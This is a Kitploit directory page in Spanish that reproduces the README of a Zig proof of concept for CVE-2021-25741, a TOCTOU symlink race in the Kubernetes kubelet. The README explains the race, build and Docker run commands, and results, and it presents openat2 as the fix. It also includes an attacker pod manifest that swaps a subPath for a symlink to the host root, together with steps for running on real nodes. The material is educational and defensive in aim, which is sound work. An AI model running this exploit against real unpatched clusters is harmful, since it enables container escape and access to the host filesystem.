Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ZigRaceExploit — POC de CVE-2021-25741 en Zig | Kitploit
Herramientas/GitHubGitHub/glutenfree69/zigraceexploit
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónSeguridad en la NubeAprendizaje y EducaciónExplotación de Binarios
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

POC de CVE-2021-25741 en Zig

Ver Repositorio
4hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-25741 — Explotación de TOCTOU Symlink Race en Zig

Exploit educativo de la condición de carrera TOCTOU (Time Of Check, Time Of Use) que está en el origen de CVE-2021-25741, una vulnerabilidad en el kubelet de Kubernetes.

El proyecto demuestra localmente (sin clúster K8s) cómo un intercambio concurrente de symlink puede saltarse una verificación de ruta entre lstat() y open(), y prueba que openat2() con los flags RESOLVE_* es la solución.

Tabla de contenidos

  • El problema
  • Cómo funciona el exploit
  • Arquitectura del código
  • Requisitos previos
  • Build
  • Uso
    • Prueba local con Docker
    • Comparación openat vs openat2
    • Jugar con el retardo TOCTOU
    • Prueba en un nodo Kubernetes real
  • Resultados esperados
  • Explicación del código
  • Syscalls de Linux utilizados
  • Depuración con strace
  • Referencias

El problema

Resolución de rutas en Linux

Cuando el kernel resuelve una ruta como /a/b/c/file, lo hace componente por componente. En cada paso, si el componente es un symlink, el kernel lo sigue automáticamente. Esta resolución no es atómica — el sistema de archivos puede cambiar entre dos pasos.

TOCTOU en el kubelet

El kubelet de Kubernetes hacía exactamente este patrón vulnerable:

root@kitploit:~
1. CHECK : lstat(subPath) → "es un directorio, es seguro"
     ↕ VENTANA DE RACE — un proceso en el contenedor cambia el directorio por un symlink
2. USE   : mount(subPath) → sigue el symlink, monta el sistema de archivos host

Entre la verificación y el mount, un proceso malicioso en el contenedor podía reemplazar el subPath por un symlink hacia / del host, obteniendo así acceso completo al sistema de archivos host.

La solución: openat2(2)

La syscall openat2 (kernel 5.6+) resuelve la ruta y abre el archivo de manera atómica, con restricciones:

Con openat2, no hay ventana TOCTOU: si aparece un symlink durante la resolución, la syscall falla inmediatamente.


Cómo funciona el exploit

Dos hilos cooperan para explotar la ventana TOCTOU:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → contiene "LEGIT"
├── symlink_target/
│   └── secret.txt  → contiene "PWNED"
└── target/          → intercambiado entre directorio real y symlink

Hilo Racer

Corre en un bucle ultrarrápido e intercambia atómicamente target/ entre dos estados mediante renameat2(RENAME_EXCHANGE):

  • Estado A : target/ es un directorio real (contiene secret.txt = "LEGIT")
  • Estado B : target/ es un symlink hacia symlink_target/ (contiene secret.txt = "PWNED")

Una sola syscall por intercambio = ventana de race máxima.

Hilo Victim (simula el kubelet)

Reproduce el patrón vulnerable del kubelet:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — verifica que es un directorio
  2. Pausa opcional (simula la latencia del kubelet entre check y use)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — abre el archivo
  4. read() — lee el contenido
  5. Si contenido == "PWNED" → race win (el symlink fue seguido)
  6. Si contenido == "LEGIT" → race loss (era el directorio real)

En modo protegido (--use-openat2), el paso 3 usa openat2 con RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Si hay un symlink, el kernel devuelve ELOOP en lugar de seguirlo.


Arquitectura del código

root@kitploit:~
src/
├── main.zig       # Punto de entrada: parsea CLI, crea el estado compartido, lanza los
│                  # hilos, mide el tiempo, muestra los resultados
│
├── racer.zig      # Hilo racer: prepara el estado inicial (target → symlink),
│                  # luego buclea con renameat2(RENAME_EXCHANGE) para intercambiar
│                  # target/ y legit_dir/ continuamente
│
├── victim.zig     # Hilo victim: buclea N iteraciones de fstatat → delay →
│                  # openat/openat2 → read → compara "LEGIT" vs "PWNED"
│
├── setup.zig      # Crea el árbol de prueba: workdir/, legit_dir/,
│                  # symlink_target/, target/ con los archivos centinela
│
├── syscalls.zig   # Constantes y wrappers para syscalls raw:
│                  # - struct open_how (UAPI del kernel, 3×u64)
│                  # - flags RESOLVE_*
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() mediante linux.syscall4(.openat2, ...)
│                  # - rename_exchange() mediante linux.renameat2()
│                  # - Helpers: is_err(), to_errno(), to_fd()
│
└── stats.zig      # Contadores atómicos lock-free (std.atomic.Value(u64))
                   # para wins, losses, errors, eloop + salida formateada

Todas las syscalls se invocan mediante std.os.linux.* directamente (sin wrappers de std.fs o std.posix). La única syscall sin wrapper en la stdlib de Zig 0.15 es openat2, que se llama mediante linux.syscall4(.openat2, ...) con una estructura open_how definida manualmente a partir de los headers UAPI del kernel.


Requisitos previos

HerramientaVersiónPor qué
Zig0.15.xCompilador + compilación cruzada

El binario se compila en estático (musl libc) y funciona en cualquier Linux sin dependencias.

Kernel mínimo:

  • 3.15+ para renameat2(RENAME_EXCHANGE)
  • 5.6+ para openat2 con RESOLVE_* (necesario solo para --use-openat2)

Docker Desktop y colima en Mac usan un kernel 6.x — todo está soportado.


Build

Compilación cruzada Mac → Linux

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (para nodos x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

El binario está en zig-out/bin/race-exploit.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

Uso

Prueba local con Docker

root@kitploit:~
# Iniciar el runtime Docker (si macOS)
colima start

# Ejecutar el exploit (modo vulnerable por defecto)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

Comparación openat vs openat2

root@kitploit:~
# Modo vulnerable (openat) — la race funciona
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Modo protegido (openat2) — la race está bloqueada
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

O con el script que lanza ambos:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

Jugar con el retardo TOCTOU

El parámetro --delay-us añade un retardo entre el lstat (check) y el openat (use). Cuanto más largo sea el retardo, más ancha es la ventana TOCTOU, y mayor es el win rate:

root@kitploit:~
# Sin retardo — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — win rate ~50% (limitado, el racer intercambia mucho más rápido)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

En un kubelet real, la latencia entre la verificación del subPath y el bind mount es del orden de varios milisegundos (llamadas API, preparación del namespace de montaje, etc.), lo que hace que la race sea muy fiable en condiciones reales.

Opciones CLI completas

root@kitploit:~
race-exploit [options]
  --iterations N     Número de intentos (por defecto: 10000)
  --delay-us N       Microsegundos entre lstat y open (por defecto: 0)
  --use-openat2      Usar openat2 con RESOLVE_* (modo protegido)
  --workdir PATH     Directorio de trabajo (por defecto: /tmp/race-workdir)
  --help             Mostrar ayuda

Prueba en un nodo Kubernetes real

El exploit no necesita Kubernetes para funcionar — es una condición de carrera fundamental de Linux. Pero puedes ejecutarlo en un nodo real para probar en las mismas condiciones que el kubelet.

Opción 1: ejecutar directamente en un nodo

root@kitploit:~
# Compilar para la arquitectura del nodo
# ARM64 (EKS con Graviton, GKE con T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# o x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Copiar el binario al nodo
scp zig-out/bin/race-exploit user@node:/tmp/

# Ejecutar en el nodo
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Verificar la versión del kernel (>= 5.6 para openat2)
ssh user@node uname -r

Opción 2: ejecutar desde un pod de Kubernetes

Crear un pod que incluya el binario y lo ejecute:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # el binario debe copiarse aquí previamente
  restartPolicy: Never
root@kitploit:~
# Copiar el binario al nodo primero
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Lanzar el pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

Opción 3: reproducir la verdadera CVE con subPath

Para reproducir el escenario exacto de CVE-2021-25741, hay que explotar la race mientras el kubelet prepara un bind mount de un volumen con subPath:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Este script se ejecuta en el contenedor e intercambia el subPath
      # mientras el kubelet prepara el mount
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← el kubelet verifica y luego monta esta ruta
  volumes:
  - name: shared-vol
    emptyDir: {}

Importante: este ataque solo funciona en kubelets sin parchear (versiones < 1.22.2, < 1.21.5, < 1.20.11). Los kubelets recientes usan openat2 con RESOLVE_NO_SYMLINKS para resolver el subPath.

Para verificar si tu kubelet es vulnerable:

root@kitploit:~
# Versión del kubelet
kubectl get nodes -o wide

# Verificar si se usa openat2 en el kubelet (en el nodo)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

Resultados esperados

openat (vulnerable)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (protegido)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

Observaciones clave:

  • El "total attempts" es menor que las iteraciones solicitadas porque muchas vueltas se saltan (el lstat ve un symlink y no intenta el open)
  • En modo openat, ~25% de los intentos resultan en un win (se lee el archivo "PWNED")
  • En modo openat2, 0% de wins — cada intento donde el racer ha intercambiado es detectado por el kernel que devuelve ELOOP
  • Los ELOOP corresponden exactamente a los wins en modo openat: es el mismo porcentaje, pero bloqueado

Explicación del código

syscalls.zig — los bloques básicos

El archivo define las constantes que faltan en la stdlib de Zig 0.15:

root@kitploit:~
// renameat2(2) : intercambio atómico de dos entradas del sistema de archivos
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : struct pasada a la syscall
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, etc.
    mode: u64 = 0,    // permisos (si O_CREAT)
    resolve: u64 = 0, // flags RESOLVE_*
};

// Flags de resolución para open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // rechaza todo symlink
pub const RESOLVE_BENEATH: u64 = 0x08;     // prohíbe subir por encima del dirfd

openat2 se llama mediante linux.syscall4(.openat2, ...) porque Zig 0.15 tiene el número de syscall pero no un wrapper.

racer.zig — el hilo atacante

Al inicio, transforma target/ en un symlink hacia symlink_target/, luego buclea con dos renameat2(RENAME_EXCHANGE) que intercambian target y legit_dir:

root@kitploit:~
Iteración 1: target=dir,     legit_dir=symlink  ← víctima ve un dir, abre normalmente
Iteración 2: target=symlink, legit_dir=dir      ← víctima sigue el symlink → PWNED

victim.zig — el hilo kubelet

Reproduce lstat → delay → openat/openat2 → read → compara. Los resultados se cuentan en contadores atómicos lock-free (fetchAdd con ordering .monotonic).

setup.zig — la estructura de prueba

Crea el árbol de directorios con mkdirat, openat(O_CREAT) y write — todos mediante syscalls raw. Dos archivos centinela: "LEGIT" en el directorio real, "PWNED" en el destino del symlink.


Syscalls de Linux utilizados


Depuración con strace

root@kitploit:~
# Trazar todas las syscalls de los dos hilos
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Filtrar las syscalls interesantes
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# Ver los ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

Nota: strace no está instalado por defecto en Alpine. Usar alpine:edge o instalar con apk add strace:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

Referencias

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — el fix
  • man 2 renameat2 — intercambio atómico
  • man 2 fstatat — lstat sin seguir symlinks
  • Symlinks and path resolution — Star Lab
Descargar herramienta
FlagEfecto
RESOLVE_NO_SYMLINKSRechaza seguir cualquier symlink → devuelve ELOOP
RESOLVE_BENEATHRechaza salir del directorio base → devuelve EXDEV
RESOLVE_IN_ROOTTrata el dirfd como la raíz del sistema de archivos
RESOLVE_NO_XDEVRechaza atravesar puntos de montaje
DockercualquieraPara ejecutar el binario Linux en Mac
colimacualquieraRuntime Docker en macOS (o Docker Desktop)
SyscallRol en el exploitWrapper Zig
renameat2(RENAME_EXCHANGE)Intercambio atómico target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat : verifica si target es un dir o symlinklinux.fstatat()
openat(O_RDONLY)Abre el archivo siguiendo symlinks (vulnerable)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)Abre el archivo rechazando symlinks (fix)linux.syscall4(.openat2, ...)
symlinkatCrea el symlink inicial target → symlink_targetlinux.symlinkat()
unlinkatElimina target antes de recrearlo como symlinklinux.unlinkat()
mkdiratCrea los directorios de pruebalinux.mkdirat()
read / write / closeIO sobre los archivos centinelalinux.read() / linux.write() / linux.close()